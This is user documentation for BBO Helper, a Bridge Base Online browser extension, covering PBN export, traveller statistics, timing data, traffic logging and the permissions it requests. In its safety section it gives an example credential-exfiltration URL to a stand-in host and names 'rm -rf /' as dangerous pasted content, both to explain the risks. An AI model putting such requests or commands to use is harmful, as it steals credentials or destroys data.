Portable Bridge Notation (PBN) is a standard for representing bridge games. It includes features to store the deal, auction, explanations of auction calls, the contract reached, the card play, double dummy contracts (“optimal contracts”), board travellers, and more. It even has the ability to store the timing of calls and played cards. A single PBN file can contain information about multiple boards.

Many programs can read PBN files, though they may ignore aspects of the PBN file that they do not support, for example the timing information. I am very fond of the lightweight Bridgify double dummy application for Windows. Bridge Captain has a following and is now free. BridgeComposer is an inexpensive program for writing professional looking bridge articles. Dealing machines can read PBN files. My ACBLmerge software can read and create PBN output. Standards make the software world go round.

BBO Helper can write PBN files for an entire session of boards or a single board in the BBO application History pane or standalone Hand Viewer. BBO Helper creates very detailed PBN files.

The best way to download PBN files is from the BBO My Hands auxiliary website. You can reach this website easily from the Open BBO My Hands item in the BBO Helper menu.

BBO Helper adds the Download PBN and HTML buttons to each BBO playing session. Clicking on the former will download all the hand records from BBO in the LIN format that BBO uses, convert them to PBN, and then prompt you to save the resulting PBN file. The default filename is generated based on the date and time the session started and also the tournament name if the hands are from a tournament, but you can edit the filename before saving it. A similar Download PBN button is added to hands from social session and also for team games.

PBN files created in this manner will include the auction, any alerts and explanations of calls during the auction, and the card play. The PBN [Event] tag is set to the name of the tournament if for tournament, e.g. something like, “BBO #82164 ACBL Open-Pairs Mon 1:10PM (18 Boards - MP)”. The [Site] tag is set to “BBO”. Both the [Date] / [Time] and [UTCDate] and [UTCTime] tags pairs are included, the latter simplifying world wide collaboration and automated processing. The seat tags, e.g. [North] are populated with each player’s BBO handle.

PBN files will contain the [AuctionTimeTable] and [PlayTimeTable] if timing information is available. The [OptimumResultTable] is only included if double dummy information for the deal is already cached. This avoids the long delay that might result from fetching the double dummy information for a large set of deals.

BBO Helper can generate a PBN file for a single board from the History pane or the board displayed in the standalone BBO Hand Viewer. Choose Save Board as PBN from the BBO Helper menu or use the Alt+P keyboard shortcut in Windows or Option+P on a Mac. Mnemonic: P for PBN.

Where are the PBN files saved?

By default the PBN files will be save to your Downloads folder; for example in C:\Users\username\Downloads on Windows 7-10. Firefox has a setting for where to save downloads that can be reached via ☰ (Firefox menu bar) → Settings → General (left side) → Files and Applications (section) → Downloads. If you change this to “Always ask you where to save files”, you can choose where to save PBN files.

The same considerations apply when saving BBO traffic and exporting timing information, advanced features that are described later.

Session HTML

The HTML button generates a standalone HTML file containing every board in the session, a new feature added in BBO Helper 1.3. The result looks similar to copying each board as HTML as opposed to copying a single one via the Alt+H keyboard shortcut. You can load the resulting file in your web browser or perhaps e-mail it to your partner or teammates. Session HTML includes matchpoint or IMP scores and a link to the traveller for each board.

Session HTML files include a small bit of JavaScript that lets you adjust the appearance of the output without adjusting your BBO Helper user preferences and regenerating the output via the HTML button. The following screen of the top section of a sample Session HTML file shows these settings.

In the example above, the Session HTML was generated with two color (red and black) suit symbols, but the display can be changed to four color suit symbols by checking the box at the top. Other display elements can be hidden by unchecking the corresponding checkbox.

HTML details (for power users only)

The Session HTML is similar to the board HTML described above though most styling is handled via CSS rules included in the <header> element of the HTML file rather than being inlined. This enables the checkbox functionality above and makes it easier for HTML experts to alter the presentation by editing CSS rules.

BBO My Hands Traveller improvements

BBO Helper makes many improvements to traveller pages.

First, it adds the opening lead (Ld) and Auction columns as indicated below to the standard BBO traveller table. Rounds of the auction are separated by the pipe (|) symbol.

A second copy of the table is included, but sorted by auction, with secondary sorting on the score column, and tertiary sorting on the opening lead. The following image shows part of the table from a different board. The uncontested 1♠ 2♠ sequence closed out the auction nine times. Second seat reopened with a double seven times with advancer bidding 3♥ in all cases, buying it there five times, and pushing the opponent to 3♠ twice.

A contract frequency table is added to the top of the traveller.

Contracts are listed irrespective of the direction the pair played it and are ranked in order of decreasing frequency. A suffix like -NS means the contract was declared from both directions. A single seat suffix like -W means the contract was always declared by the indicated seat. The Cnt column lists the number of times the contract was played; the Pct column shows the percentage.

The Details column compactly displays additional information. If a contract was played from both seats, there will be N and S (or E and W) indications giving the breakdown. Here 3♥ was declared 33 times by North and 70 times by South. X and XX indications are included if the contract was doubled or redoubled. Then the frequency of overtricks and/or undertricks is shown, sorted from best to worst outcome for declarer. Finally the leads are shown, in order of decreasing frequency, and broken out separately by each side. If an indication is not followed by a (#) count, it occurred only once; for example the ♦4 and ♦J were each led only once against 3♥-N.

The Shannon entropy is a measure of how diverse the results are. If all pairs play the same contract (irrespective of direction), the entropy will be zero. If two contracts are played the same number of times, the entropy is 1 bit. If only two contracts are played, but an unequal number of times, the entropy will be less than 1, reflecting our sense that we could guess the more frequent contract and be right more than half the time.

BBO Helper adds a similar frequency table for the auctions, but sorts it by auction rather than frequency. The Shannon entropy for auctions will always be greater or equal to the Shannon entropy for contracts because multiple auctions can lead to the same contract.

By default the BBO Helper 1.4.1 and later use four color suit symbols for travellers which makes it easier to distinguish between the club and spade symbols. However, you can switch to two color suit symbols by unchecking the option “Use four color for the suits in the traveller display” in the full settings which can be reached via the Edit All Settings menu item.

Starting with version 1.4.3, BBO Helper also adds a frequency table of scores.

The score column shows the matchpoint percentage or IMP score as appropriate. The three columns are replicated four times for compactness of presentation. The raw scores in blue are ordered from highest to lowest, top to bottom, left to right.

Principal Auction Variants

Finally, BBO Helper add a Principal Variants table that attempts to map out the most common ways in which the auction unfolded. Mathematically, it is a tree presented in tabular form. These can become complicated looking so let’s start with a simple example.

The auction began 1NT 96% of the time, a total of 257 cases. The remaining 4% of the first seat actions are not shown because they are too infrequent. After the 1NT bid, 93% of the field passed out the hand (AP = All Pass). Even when the hand was not passed out, second seat usually passed (11 times). A handful of responders passed at which point fourth seat most often balanced with 2♦. Another handful of responders tried a Stayman bid and always received a 2♥ reply from opener.

When the principal variants eventually dribble into lots of separate lines, the various sequences are listed as text, separated by or and sequences that occur more than once are indicated by (#x), for example (3x) in the figure above after the 2N P 3♠ sequence.

Let’s look at a more complicated case. After two passes you’re up with ♠K ♥73 ♦A6 ♣QJT96432, no one vulnerable. 4♣ was my reflex reaction... and yet, your side could have half the deck and it looks like a stinker hand where the opponents could innocently march into 4♠ if you let them, only to go down one when they take a losing finesse into your stiff ♠K. I tried 1♣ and had bad thoughts when they marched into 4♠ with the ♠A behind me and made an overtrick, still we wound up with 49% on the board.

What did the field do in third seat? Take a look (third column below). 1♣ was a minority action (16%) with 3♣ (41%) edging out 4♣ (37%). The 3♣ preempt didn't do much to keep the opponents out of a major suit game. Nor did 4♣, though the opponents were occasionally driven to 5♠.

Starting with Version 1.2, BBO Helper flags calls that any player(s) have explained with a green triangle in the lower right corner of the call. Click on the call to see the explanation(s) provided. Click again on the call or the red X button to close the display. The partial screenshot at the right show the explanations provided for the Michaels cue bid of 2♣.

BBO Helper adds missing exclamation symbols to bare c, d, h, and s characters in the explanations on assumption they are meant to be suits, attempts to clean up common misspellings (e.g. for Cappelletti), and then sorts the explanations alphabetically. Repeated explanations are grouped with the count indicated in parentheses. In this example, “majors” was the given explanation eight times.

Sometimes one or more hints are provided. These are based on searching the explanations for keywords and key phrases that are likely to apply to a given call. For example, explanation(s) containing “Support” will provide an a hint for Support Double when the call is a Double but not otherwise.

Some hints provide a link to an explanation of a convention or treatment which will open in a new tab when clicked. Some hints, such the one for the Michaels cue bid, are for the most common meaning of the bid. Others provide an explanation of why the call may have been made or required an explanation. For example, a “2+” explanation for a 1♦ bid, generates a hint that links to a page about Big Club systems.

Webpage title improvements

BBO Helper rewrites the title of some BBO webpages to be more informative. The title is the text that appears on a browser tab and which is also used as the default name when bookmarking a page.

For example, the title of a traveller is rewritten to include the board number, e.g. “Board 7”. For tournament boards, tournament name will also be included, for example as “Board 7 - 2021-08-16 ACBL Open-Pairs Mon 1:10 PM”. The more informative titles make it easier to find a tab if you have many tabs open. (Don’t ask how many tabs I have open, just don’t.) The title of standalone BBO Hand Viewer is modified in a similar fashion. If the standalone BBO Handviewer is launched from ACBL Live for Tournaments the title will be rewritten to something like “Board 9 - North American Online Bridge Championships, 0-1500 Pairs, Jul 25, 2021” based on the Event line in the commentary passed by ACBL Live.

The title of tournament results pages is changed from the unhelpful “Results” to the more helpful “Results for {tournament name}”, e.g. “Results for #24714 ACBL Open-Pairs Thu 1:10PM (18 Boards - MP)”.

Summary of Keyboard Shortcuts

Hot Key	What it does
Alt+D	Launch double dummy solver for current board in the BBO Handviewer or the History Pane of the BBO application in a new tab
Alt+H	Toggle display of copy-and-paste aid for current board in the BBO Handviewer or the History Pane of the BBO application.
Alt+P	Save current board in the BBO Handviewer or the History screen of the BBO application as PBN
Alt+M	View player masterpoints (if ACBL member) in the BBO application with player specific links to BBO My Hands, ACBL Live, ACBL Live for Clubs, the EBU National Grading System, and the WBF Masterpoints as appropriate.
Alt+N	View player names at the table in the BBO application or the BBO Handviewer
Alt+R	Refreshes the copy-and-paste aid with the currently selected board in the History screen of BBO application.
Alt+E	Export timing and double dummy data
Alt+I	Import timing and double dummy data
Alt+L	Save BBO traffic as HTML

On a Mac, the Option key is the equivalent of the Alt key.

Timing details

Bidding and card play events are observed by the browser at a resolution of one millisecond though internet latencies render this resolution meaningless. Timing data is stored in units of 1/100 sec. This allows times to be efficiently stored in JavaScript UTF-16 strings, i.e. two bytes per time, up to 634 seconds, a really long break in tempo! Don’t you mean 655 sec? No, it is necessary to avoid the UTF-16 surrogate code points (now you are sorry you asked!), which are used to handle the diarrhea of Emoji, such that we always have a valid UTF-16 string, one that never gets mangled by the U+FFFD Unicode replacement character.

Times are displayed to the nearest tenth of a second if less than 9.5 seconds; otherwise they are rounded to the nearest second. Times longer than the maximum storable time are indicated with the infinity symbol (∞). This might occur at bidding and teaching tables where players may pause for a long discussion. Times included in PBN files are rounded to the nearest second because that seems to be what the PBN standard requires though I'm not entirely clear on this matter.

You must finish playing or kibitzing a hand for the timing to be recorded. If you arrive at the table midway through the hand, no timing information will be stored for bids and card plays that you did not observe. Internally the value of zero is reserved for this case. For this reason, 0.01 seconds is the small recordable time for an observed action. The HTML board display will not show times for actions where no timing information is available. PBN files will be written with zero for unobserved actions if the hand was partially observed. If no auction or card play timing information at all is available, the PBN file will not include the AuctionTimeTable and/or PlayTimeTable tables.

BBO Helper supports undos. If an undo is accepted, the time recorded for the call or play immediately after the undo is the time since the undo was accepted.

Exporting and importing timing data

You may export timing data to a JSON file using the Export Timing Data menu item. This also exports double dummy information and the related par scores and par contracts. Exported data can imported into BBO Helper on another computer via the Import Timing Data menu item. Imported data is merged, i.e. does not fully replace, with BBO Helper’s local storage.

Exchanging time data can be helpful for investigative purposes, for example if you think hesitations are being regularly fielded.

JSON is a general format. If you try to import data from a JSON file that wasn't created by BBO Helper, the input file will be ignored.

Saving BBO client-server traffic

Traffic logging is primarily for the benefit of development.

BBO Helper logs the more relevant client server traffic and you can use the Save BBO Traffic menu item to save it as an HTML file and view it in a separate web browser tab if you are curious how BBO really works. Traffic is only stored in memory and is discarded when you close or refresh the BBO application tab or completely shutdown your browser.

Let’s review some Internet history. The earliest web pages only updated if the entire webpage was reloaded, either manually by the user or programmatically by the client-side JavaScript. This was very limiting. Soon Microsoft invented a protocol called AJAX whereby a webpage could make a request to a server without needing to reload the entire webpage, and everyone adopted it. This was better but still limiting because only the client could initiate an update. After many years of half-assed solutions, this problem was finally solved cleanly with a technology called WebSocket which allows the client and server to establish a permanent bidirectional connection. WebSocket was very good for news for game developers, including BBO, and did a lot to enable so-called Single Page Applications, where you load one webpage and never leave it.

BBO uses a mix of old and new technology. Some data is pulled at the request of the client via AJAX in manner known as a PHP request. Other traffic is passed through a websocket. This difference accounts for occasionally strange BBO behavior where something might be updated in one place on the screen but not immediately in another, as sometimes happens with the running score.

BBO Helper color codes the traffic. The old school PHP requests are colored purple and the responses are colored green (with a short purple bit at the start to indicate which PHP request is being responded to). PHP requests replace & with “ & ”, i.e. add spaces around each & to make it easier to view the parameters being passed. The websocket traffic is colored red for the client to server direction and blue for the server to client direction. Client to server messages begin with cs, e.g. cs_chat when you type into the chat window. The parameters are separated by 0x01, an unprintable character, that is instead shown as “ | ” for readability. Traffic from the server begins with <sc, e.g. <sc_chat for a chat message sent to you, and is always in formatted as XML.

The traffic display includes a sequence number (specific to BBO Helper), a timestamp (in local time), an offset time from the start of the log (in seconds, to mS resolution), and a delta between the message and the previous message.

Some of the traffic is very boring. For example, there are pings to monitor the connection quality and keepalives to make sure the websocket stays open. By default these are not logged. Also there are many “feed” messages used to update the number of players logged in and the number of table in play, the list of your friends when a friend logs in, update the tournament list, etc. These are also not logged by default. Finally, there is a big message that defines all the BBO messages for your language when you first login. This too is not logged by default. However, you can change these settings in the Traffic Logging (advanced) section in the full options.

By default, traffic logging is limited to 2000 KB (2 MB) of HTML in order to avoid consuming a lot of browser memory when a BBO application tab is left open for a long time. 2000 KB is enough logging to see to what happens during an 18 board session, including reviewing hands with partner afterwards. It's probably enough to log 50 or so hands of straight play. You can adjust this setting in the Full Settings. Setting it to 0 allows unlimited logging.

Differences between Firefox and Chromium browsers

BBO Helper works almost the same on Firefox and Chromium based browser. This is a summary of the differences. These items are also noted in the discussion of the respective features.

• In Firefox, the BBO Helper icon is only visible when the user is on a webpage where BBO Helper is active. In the Chromium based browsers, the BBO Helper icon is always visible but when you are on a non-BBO page, the menu will only show options that are not specific to a particular BBO page. In Google Chrome and Brave, you may first need to pin the BBO Helper icon to the address bar.

  Chromium browsers do not seem to treat page_action as sensibly as Firefox. The icon for a page_action add-on does not appear by default, even on the pages listed in the show_matches key. Instead the add-on has to first be pinned to the address bar by the user, a process some users will not understand. Chrome seems to actively discourage page_action in favor browser_action where the add-on icon is always present.

• Copying a board from the board copy-and-paste aid to the clipboard, requires one click in Chromium browser. In Firefox, the same click merely selects the board at which point the user must explicitly copy it to the clipboard by pressing Ctrl+C (⌘+C on a Mac). Refer to A clipboard saga for more details.
• When BBO Helper is first installed or is automatically updated, the user is presented with a message indicating that BBO Helper may not function correctly until the BBO application tab is refreshed. On Firefox this is message is overlaid on the BBO application tab. On Chromium browsers, BBO Helper opens a new tab and the message is displayed there. This difference is due to differences in exactly how extensions add-ons and updates are handled in each browser.

Compatibility with other BBO related adds-ons

BBO Helper has proven compatible with John Goacher’s Bridge Solver add-on, as expected, based on limited testing. Initially there was a conflict with his BBO Extractor, but John has addressed it in BBO Extractor 1.4.2 which he published on January 3, 2022.

BBO Helper seems to be compatible with BBO Alert based on limited testing by me. Moreover some players use both extensions and have not reported problems. I expected a conflict based on how the BBO Alert would seemingly be implemented but so far so good. One day I'll have to day a look at the BBO Alert code to understand why there isn't a conflict.

I have not tested BBO Helper with BBO Visual Assist.

Note: there may be benefits to implementing a unified framework for intercepting BBO traffic much as Npcap allows multiple applications such as Wireshark to receive network traffic.

Disabling or uninstalling BBO Helper

BBO Helper may be disabled or uninstalled in the standard manner for any browser extension.

Google Chrome, Microsoft Edge, and Brave

Type chrome://extensions/ in the address bar of the web browser to bring up the page for managing your extensions. Find BBO Helper, as shown in the partial screenshot at the right.

To disable BBO Helper move the slider to the left. To uninstall BBO Helper click on the Remove button.

Firefox

Type about:addons in the address bar of the web browser to bring up the page for managing your extensions. Find BBO Helper, as shown in the partial screenshot below.

To disable BBO Helper move the slider to the left. To uninstall BBO Helper click on the ... and choose the Remove option when the menu appears.

Is BBO Helper safe?

Anyone using a web browser extension should consider whether it is safe.

BBO Helper is only active on BBO web pages. The extension’s manifest file (manifest.json) defines the websites the extension is active on or can communicate with. The browser displays the requested access to the user and enforces the access restrictions. If a future version of the extension requires greater access, the browser will communicate the new permissions requested to the user for approval. The restrictions on BBO Helper prevent it from stealing your credentials when you log into a banking website or from otherwise altering your experience on websites unrelated to BBO. Furthermore, BBO Helper does not run on the BBO web page where you purchase BBO$. BBO Helper's limited role makes it inherently much safer than say an ad blocking extension, which by its nature needs permission to run on all websites.

BBO Helper has free reign on much of the BBO website. It could steal your BBO password. It could curse at the opponents in your name. It could login to BBO and play bridge when you think you are logged out. It doesn't do any of these things, but it could. If you want to be sure, you can review the code—it is unobfuscated, reasonably well commented, and free of library dependencies (save for the short FileSaver.js code that I borrowed). If you know JavaScript and the web browser APIs, you can verify the security of the code.

Permissions requested

A browser add-on usually asks for a few permissions. These are presented to the user prior to the installation in a confirmation dialog. Here is a list of the permissions that BBO Helper asks for and an explanation for each.

site permissions

BBO Helper needs to access the following web pages because it is active on these pages:

*://www.bridgebase.com/v3/* (BBO application)
*://www.bridgebase.com/­tools/­handviewer.html* (BBO standalone Hand Viewer)
*://www.bridgebase.com/­myhands/­hands.php?­username=* (BBO My Hands boards)
*://www.bridgebase.com/­myhands/­hands.php?­traveller=* (BBO My Hands travellers)
*://webutil.bridgebase.com/v2/­tview.php* (BBO Tournament Results)
https://www.ebu.co.uk/­ngs/­search (English Bridge Union player search)

The last one requires some explanation. BBO Helper 1.4.5 and later can automatically open the National Grading System (NGS) player page for an English Bridge Union (EBU) member. Unfortunately the NGS website does not seem to support doing this by specifying the player name as a URL parameter but rather through a form submission (HTTP POST). BBO Helper modifies the NGS search page to support lookup by a URL parameter by automatically populating the form with the specified name and then submitting it.

BBO also needs to access these two sites:

https://webutil.bridgebase.com/ (BBO API interface)
https://dds.bridgewebs.com/bsol2/ (Bridge Solver Online)

The first website allows BBO Helper to convert a tournament hand identifier to a LIN string which contains the auction, card play, auction alerts/explanations, etc. Working with LIN strings is much cleaner than parsing information directly from the BBO webpage, i.e. from the Document Object Model (DOM). The second website hosts John Goacher’s Bridge Solver Online (BSOL), an online double dummy solver which BBO Helper uses to fetch the double dummy and par information. Great work, John.

BBO Helper isn't active on these pages, so why does it need to ask for access? Consider a scenario where BBO Helper observes your BBO password (which it can). How does it transmit this information from your computer to the attacker’s computer, what security professionals call data exfiltration? It might for example perform an image request like https://evilbox.com/­smiley.jpg­?bbouser=airglow­&password=nullandvoid over AJAX in the background, hidden from the user. While this appears to fetch a smiley face image, it also passes the username and password as URL parameters which can be recorded by the remote server.

other permissions

BBO Helper asks for the clipboardWrite, storage, unlimitedStorage, and activeTab permissions.

clipboardWrite is required in order for the board copy-and-paste aid to write HTML as plaintext to the clipboard. Writing to the clipboard is potentially dangerous because specially crafted contents (e.g. rm -rf /) might accidentally be pasted somewhere dangerous such as a command shell which has administrator / root privileges. System administrators generally know not to mix business and pleasure on the same box but ordinary users can get into trouble under unfortunate circumstances.

The HTML that BBO Helper writes to the clipboard as plaintext does not contain any “active” content, i.e. JavaScript.

storage allows the add-on to store data on the local computer, managed by the web browser. Each add-on has a separate storage area that is inaccessible to other add-ons. Add-on storage persists between browser sessions.

BBO Helper uses local storage to save your BBO Helper preferences, cache double dummy results, and record timing information. Caching the double dummy, par and par contract(s) allows BBO Helper to present the double dummy information immediately if you revisit a board, and it reduces the burden on John Goacher’s BSOL. There is nowhere except local storage for BBO Helper to store the auction and card play timing information, and it can not be retrieved from anywhere else later, so this is where it is stored.

Timing information can be exported from BBO Helper and imported into BBO Helper on another computer, where it will be merged with timing information already stored on the other computer. This is one way to share timing information if you would like to have another person examine hesitations on a large set of deals.

unlimitedStorage exempts BBO Helper from any default storage limitation. Currently Firefox does not impose a storage limitation but it may in the future, likely limiting storage use to 5 MB per add-on. BBO Helper is parsimonious about storage use. However, if you play thousand and thousands of hands on BBO, you may exceed the 5 MB limitation that might eventually be imposed.

Based on the size of the SQLite database where Firefox persists BBO Helper’s local storage items, it appears to require about 750 bytes per board to store the double dummy and timing information, including database overhead such as database indices. You would have to play about 7,000 boards to exceed the 5 MB limit which you could do in half a year at two 18 board VACB sessions per day, every day. And some fanatics play more than that.

BBO Helper timestamps each item stuffed in local storage. A future update will tell the user how much local storage is being used and allow removal of old items.

activeTab allows BBO Helper to learn certain information about the currently active tab, in particular the URL of the current tab. This is a much more restricted version of the expansive tabs permission which BBO Helper does not need and does not request.

Could BBO Helper mess up my BBO session?

I can’t make any guarantees. BBO Helper is independent of BBO and BBO could make changes to their software at any time that disrupt the functionality of BBO Helper, possibly in ways that are detrimental to the operation of BBO itself when BBO Helper is installed. However, BBO Helper does take preventative measures to avoid trouble.

It is unlikely that BBO will significantly modify the client-server protocol because it is already well fleshed out and quite sensible. If BBO makes a major overhaul to the BBO application they would probably change the trailing prefix from /v3/ to /v4/ which would deactivate BBO Helper until I made changes to the add-on manifest and released an update.

BBO Helper intercepts client-server traffic. For the most part traffic is not altered, the message is simply noted and acted on as appropriate by BBO Helper. Chat messages, alerts, and claims are sometimes altered, for example to insert suit symbols automatically. This is more risky. If something goes wrong and the message is not sent in a timely manner, the BBO client will think the connection has been lost and kick you off BBO. BBO Helper takes extra precautions in these situations, wrapping the appropriate code in try/catch blocks. For example, if the Auto Alert code fails, the call will be still be sent out, unalerted. BBO Helper is also careful to respect BBO message length limits on alerts and claims when rewriting messages, truncating the message appropriately even if some other part of the add-on generates a message that is too long.

If you have a problem and get kicked off BBO, you can disable BBO Helper, and log back into BBO where you will usually be able to resume your session. Please report such incidents. They will be addressed with high priority.

How Does BBO Helper work?

BBO is a single page application, as mentioned earlier. More specifically, it appears to be built on the Electron framework. This type of framework implements a model-view-controller (MVC) design pattern. The model abstractly represents the state of the application, e.g. which player is at each seat, the auction, who is declarer, the card play so far, etc. The views are what the user sees, e.g. a deal at some state of play, a chat window with some text in it, a History pane with results from previous hands. When the model is updated, the controller makes appropriate changes to each view.

So BBO Helper examines the model and acts accordingly? No! The model is probably not directly accessible as a global variable and the BBO JavaScript code that manipulates the model is obfuscated by Webpack. The obfuscated code is pretty horrible to look at. All the variable names are replaced by short unhelpful names and intuitive constructs like if (x === 0) { playSound() } get rewritten to things like x === 0 || p() which are functionally equivalent but more annoying to read.

BBO probably obfuscates their code in part to protect their intellectual property. But that aside, a big application like BBO has a lot of JavaScript to push down to each client. The packed JavaScript is significantly smaller which results in a faster startup experience for users.

In principle we can reverse engineer the obfuscation. Some details are not hard to work out. For example, it is clear that BBO makes use of jQuery, a very widely used JavaScript package. There are utilities to undo some aspects of obfuscation. But such reverse engineering is a big project and subject to disappointments. For example, a function might get packed as zp4() and later get packed as zn23(), defeating BBO Helper’s dependence on zp4().

Despite the obfuscated code, two things benefit BBO Helper. First, the BBO Document Object Model (DOM) is sensible and uses class and id names that are mostly understandable. Second, the client-server traffic is very readable. Take a look at this example:

<sc_card_played table_id="1419679" card="C4" />

Even if you are not a programmer, you can probably guess that this indicates the ♣4 was played. If I tell you that the leading <sc means the message was going from the server to the client, i.e. from BBO to you, then it would be clear that it was played by someone other than you. But whom? It doesn't say! It doesn't need to because the BBO client knows whose turn it is to play based on previous actions. If we could look at the BBO model, we would know too, but we can't. However, we also know the rules of bridge. BBO Helper observes the client-server traffic and builds up its own model. It also watches for exceptional messages such as <sc_undo>, the result of the opponents accepting an undo, and updates its own model appropriately.

BBO Helper’s inability to peek at, let alone modify, the BBO application’s model, accounts for certain behaviors of BBO Helper. For example, when an auto alert is issued, BBO Helper can not update the BBO application’s model to reflect that alert. It could choose to update the alert box “view” by directly modifying the DOM but that would be an abuse of the MVC paradigm that could lead to inconsistent behavior in the BBO application. So instead, BBO Helper displays a brief overlay announcing that the auto-alert has occurred.

As a general rule, BBO Helper strongly prefers to add its own elements to the DOM, e.g. the <div> elements that display the double dummy information in the History pane, rather than modify existing BBO application DOM elements. However, BBO Helper does add some event listeners to BBO application elements at little risk of side effects because modern browsers allow multiple event listeners to be added to any DOM element without conflict.

Broadly speaking, add-ons are in a separate programming context from the JavaScript code supplied by the main webpage such that there is no cross visibility of code or variables, only the DOM is shared. This is a beneficial isolation that can be breached in a limited manner by various browser APIs. For example, an ad-blocker add-on would likely use the webRequest API to examine outgoing requests, blocking those that pull down ads from known ad servers. This is fine for an ad-blocker which only needs to know the URL of the resource being fetched. But BBO Helper needs to view the contents of the data passed between the BBO client and BBO server. It does this by injecting JavaScript into the DOM so that the code shows up in the same code context as the BBO application JavaScript, breaching the isolation. This code overrides (extends in JavaScript parlance) the WebSocket and XMLHttpRequest classes so it can spy on traffic much like virus / anti-virus software, the difference being largely the color of your hat.

For the most part, BBO Helper merely examines traffic and tosses a copy of it “over the fence” to main add-on code via a DOM custom event, before passing it on to its normal destination. The main add-on code examines the traffic, tracks the application state, and updates its own additions to the DOM as appropriate. However, certain operations like chat window symbol substitution and auto alerts modify messages before sending them along. For performance reasons these operations are done directly on the same side of the fence as the interception code.

Operating on both sides of the fence complicates the BBO Helper code. For example, there is one pref structure to hold all the user preferences and it is always updated in the main add-on code. However, the injected code can not see this variable. It keeps its own copy which it updates from local storage when the main add-on code sends it a custom event telling it to do so. Similarly, the BBO application state is tracked on both sides of the fence but in less detail in the injected code which only needs to know the state of the auction to support auto alerts.

Sometimes BBO Helper needs to do something in response to a user action in the BBO application that does not necessarily generate Websocket or PHP traffic, perhaps because the data is already cached in the BBO client. For these scenarios the MutationObserver API is very helpful. For example, the double dummy functionality uses MutationObserver to be informed of board number changes in the History Pane resulting from the user clicking on a different board. Similarly it uses MutationObserver to wait for the creation of the <whos-online-screen> element when the People tab is selected for the first time, and then again to watch for people added to friends, hosts, stars, and enemies list, so that event listeners can be added for displaying real names.

A bit more about BBO for the curious

I don’t need to know everything about BBO to write BBO Helper but a decent understanding is helpful so I poked around.

The client application makes use of the jQuery, Angular + Zone.js, Hammer, and fingerprint.js frameworks / packages. Angular implements the MVC paradigm and makes animation easy, e.g. the playing cards that slide into position. Hammer implements touch gestures and is probably used for BBO application support on smartphones and tablets. Fingerprint.js attempts to uniquely identify browsers based on browser features. BBO probably uses it either for marketing purposes or cheating detection, i.e. as a means of detecting that BBO is being played from different accounts on the same web browser.

BBO uses nginx, a popular high performance web server and load balancer. Old school PHP is used for certain data lookups. Voice chat is supported by a Janus WebRTC Server.

Like many websites, BBO uses Google Analytics to track website traffic. It also uses several Google supplied fonts and one custom font. Most fonts size the suit symbols too small relative to the numbers and alphabet; the diamond symbol in particular is often quite small. Fred Gitelman appears to have directly modified a font file to address this issue.

There is no way to peer far into the BBO backend. We can infer that BBO uses a relational database that uses positive integers as primary keys, the sort of setup you would have with Oracle or MySQL. The numerical order of the primary keys suggests how some operations are performed—okay, I hear you falling asleep now.

Displaying BBO Helper over Zoom

If you are showing web pages modified by BBO Helper over Zoom, say for teaching purposes, it is recommended that you share your entire desktop over Zoom rather than just sharing a single browser window.

Edward Zuckerberg reported an issue with BBO Handviewer popup windows generated by clicking “Movie” links that I was able to confirm with him over a Zoom session. If only the browser window containing the BBO My Hands page is shared, we observed that either (1) the popup may not show up at all on audience Zoom sessions, or (2) it may appear, lose the top portion after a few seconds (looks like a repaint issue), and then lose its contents entirely when the mouse is moved in the popup window, for example to play through the board. Bizarrely, this only seems to happen when BBO Helper is installed.

I think this is fundamentally a Zoom issue. Arguably a browser popup Window should automatically be added to the list of Zoom shared windows if the Window triggering the popup is also shared. In practice it is not clear how Zoom handles these scenarios.

Known issues and limitations

• There is only one set of Auto Alert definitions. Later releases will have Auto Alert profiles so that users can set up different Auto Alert definitions for different partnerships.
• When a trick is completed, clicking on the screen will hide the played cards (the normal BBO application behaviour) but the timing information remains on the screen, a cosmetic annoyance.
• BBO Helper preference changes do not take effect immediately or may not be synchronized. For example, if you make a change via Quick Settings, you'll have to refresh (F5 or Ctrl+R) the full Options page if it is open to see the preference change(s) there. If you change options for the HTML board viewer, you’ll need to either refresh the viewer (Alt+R) or close and reopen the viewer (Alt+H twice) for the change to take effect.
• BBO Helper does not show the double dummy table or save the timing for Solitaire events or Challenges (which are treated similarly internally). This issue will eventually be addressed, but not prior to BBO Helper 1.5 at the earliest. As a workaround, you can launch BSOL (Alt+D keyboard shortcut) to view double dummy results.
• BBO Helper supports undos and will record the timing properly if there are undo(s) and handle auto alerts correctly following undo(s). However, the undo functionality is not exhaustively tested and there may be cosmetic display issues. Everything will be fine when the next board is dealt.
• If the double dummy display does not appear, click on another board in the History pane and then return to the board where the double dummy display did not appear. I think this issue was finally fully addressed by the 1.3 release.
• When switching from Hand Diagram to Pictures of Cards mode, the double dummy table does not disappear; likewise it does not appear when switching from Pictures of Cards to Hand Diagram mode. Switch boards and switch back as a workaround. This issue is understood and will eventually be addressed.

Acknowledgments

As always, a big round of thanks to Bo Haglund and Soren Hein for developing DDS, a double dummy solver. It’s easy to program a double dummy solver; it’s hard to program a highly efficient one. So many bridge developers rely on DDS.

And thanks to John Goacher for his Bridge Solver Online (BSOL), a very nice web based interface. Naturally, it uses DDS to do the double dummy calculations.

It would be a real pain to make sure BBO Solver generated compliant Portable Bridge Notation (PBN) if Tis Veugen hadn’t written PBN Verifier. Thanks, Tis!

Pierluigi Sessolo provided the Italian translation.

Thorvald Aagaard provided the Danish translation.

Hanoi Rondón provided the Spanish translation.

Henry Hu provided the Chinese (Simplified) translation (via Ping Hu).

Mircea Giurgeu provided the Romanian translation.

Klaus Krtschil provided the German translation.

Bruno Alexis provided the French translation.

And thanks to my beta testers: Selby Winkler, Bob Brobst, Steve Provol, and Kathy Byrne. Also Thorvald Aagaard (many issues and suggestions) and Ewan McNay (Mac OS) for BBO Helper 1.3 testing.

License, platform support, and language support

BBO Helper is released under the terms of GNU General Public License GPLv3.

The beauty of a browser add-on is that it works in principle on any platform where the browser runs. BBO Helper was developed on Windows 7 and tested extensively on both Windows 7 and Windows 10. It has also been somewhat tested on Mac OS. Statistics from the Chrome Store indicate there are many Chrome OS users.

Since version 1.1, BBO Helper has internationalization support, i.e. support for multiple languages. If you would like to make a translation, contact me and I will send you a file of phrases to translate.

Refer to the Revision History for a full list of changes in each version.

Send feedback and bug reports to bbohelper@triplesqueeze.com

Why Firefox, then Chrome?

